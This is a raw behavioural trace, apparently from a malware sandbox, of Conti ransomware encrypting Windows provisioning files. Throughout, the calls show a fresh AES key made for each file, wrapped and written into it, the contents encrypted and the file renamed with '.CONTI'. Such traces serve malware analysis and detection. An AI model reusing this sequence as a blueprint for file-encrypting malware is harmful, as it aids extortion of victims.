	[0114.607] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2cc, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0114.607] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.607] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.607] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.607] WriteFile (in: hFile=0x390, lpBuffer=0x65d5990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d5990*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0114.608] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.608] CloseHandle (hObject=0x390) returned 1
	[0114.608] GetProcessHeap () returned 0x1720000
	[0114.608] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.608] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml"
	[0114.608] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml.CONTI"
	[0114.608] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0114.609] GetProcessHeap () returned 0x1720000
	[0114.609] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.609] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.609] GetProcessHeap () returned 0x1720000
	[0114.609] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b59c90 | out: hHeap=0x1720000) returned 1
	[0114.609] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0114.609] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d6500 | out: phKey=0x65d6500*=0x6b7f0b8) returned 1
	[0114.609] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6504, pdwDataLen=0x4d3fec4 | out: pbData=0x65d6504*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0114.610] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0114.610] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0114.610] GetLastError () returned 0x0
	[0114.610] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=708) returned 1
	[0114.610] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c4
	[0114.610] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.610] SetEndOfFile (hFile=0x390) returned 1
	[0114.610] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.610] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.610] WriteFile (in: hFile=0x390, lpBuffer=0x65d6504*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d6504*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.612] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.612] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2c4, lpOverlapped=0x0) returned 1
	[0114.612] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2c4, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0114.612] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.612] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.612] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.612] WriteFile (in: hFile=0x390, lpBuffer=0x65d64f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d64f8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0114.612] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.612] CloseHandle (hObject=0x390) returned 1
	[0114.613] GetProcessHeap () returned 0x1720000
	[0114.613] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.613] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml"
	[0114.613] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml.CONTI"
	[0114.613] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\93__connections_cellular_3 (denmark)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0114.613] GetProcessHeap () returned 0x1720000
	[0114.613] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.613] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0114.613] GetProcessHeap () returned 0x1720000
	[0114.613] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b59a20 | out: hHeap=0x1720000) returned 1
	[0114.613] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0114.614] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d5be0 | out: phKey=0x65d5be0*=0x6b7f3b8) returned 1
	[0114.614] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d5be4, pdwDataLen=0x4d3fec4 | out: pbData=0x65d5be4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0114.614] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0114.615] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0114.615] GetLastError () returned 0x0
	[0114.615] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=451) returned 1
	[0114.615] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3
	[0114.615] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.615] SetEndOfFile (hFile=0x390) returned 1
	[0114.616] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.616] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.616] WriteFile (in: hFile=0x390, lpBuffer=0x65d5be4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d5be4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.617] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.617] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x1c3, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x1c3, lpOverlapped=0x0) returned 1
	[0114.617] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1c3, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1d0) returned 1
	[0114.617] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.618] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.618] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.618] WriteFile (in: hFile=0x390, lpBuffer=0x65d5bd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d5bd8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0114.618] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.618] CloseHandle (hObject=0x390) returned 1
	[0114.618] GetProcessHeap () returned 0x1720000
	[0114.618] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.618] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.618] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.618] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\94__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.619] GetProcessHeap () returned 0x1720000
	[0114.619] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.619] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0114.619] GetProcessHeap () returned 0x1720000
	[0114.619] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b57a30 | out: hHeap=0x1720000) returned 1
	[0114.619] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0114.619] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d3518 | out: phKey=0x65d3518*=0x6b7f0b8) returned 1
	[0114.619] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d351c, pdwDataLen=0x4d3fec4 | out: pbData=0x65d351c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0114.620] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0114.620] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0114.620] GetLastError () returned 0x0
	[0114.620] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=450) returned 1
	[0114.620] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c2
	[0114.620] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.620] SetEndOfFile (hFile=0x390) returned 1
	[0114.622] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.622] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.622] WriteFile (in: hFile=0x390, lpBuffer=0x65d351c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d351c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.623] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.623] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x1c2, lpOverlapped=0x0) returned 1
	[0114.623] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1c2, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1d0) returned 1
	[0114.623] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.623] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.623] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.623] WriteFile (in: hFile=0x390, lpBuffer=0x65d3510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d3510*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0114.624] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.624] CloseHandle (hObject=0x390) returned 1
	[0114.624] GetProcessHeap () returned 0x1720000
	[0114.624] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.624] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0114.624] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0114.624] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\95__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0114.625] GetProcessHeap () returned 0x1720000
	[0114.625] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.625] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0114.625] GetProcessHeap () returned 0x1720000
	[0114.625] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819a48 | out: hHeap=0x1720000) returned 1
	[0114.625] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0114.625] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d6748 | out: phKey=0x65d6748*=0x6b7f1b8) returned 1
	[0114.625] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d674c, pdwDataLen=0x4d3fec4 | out: pbData=0x65d674c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
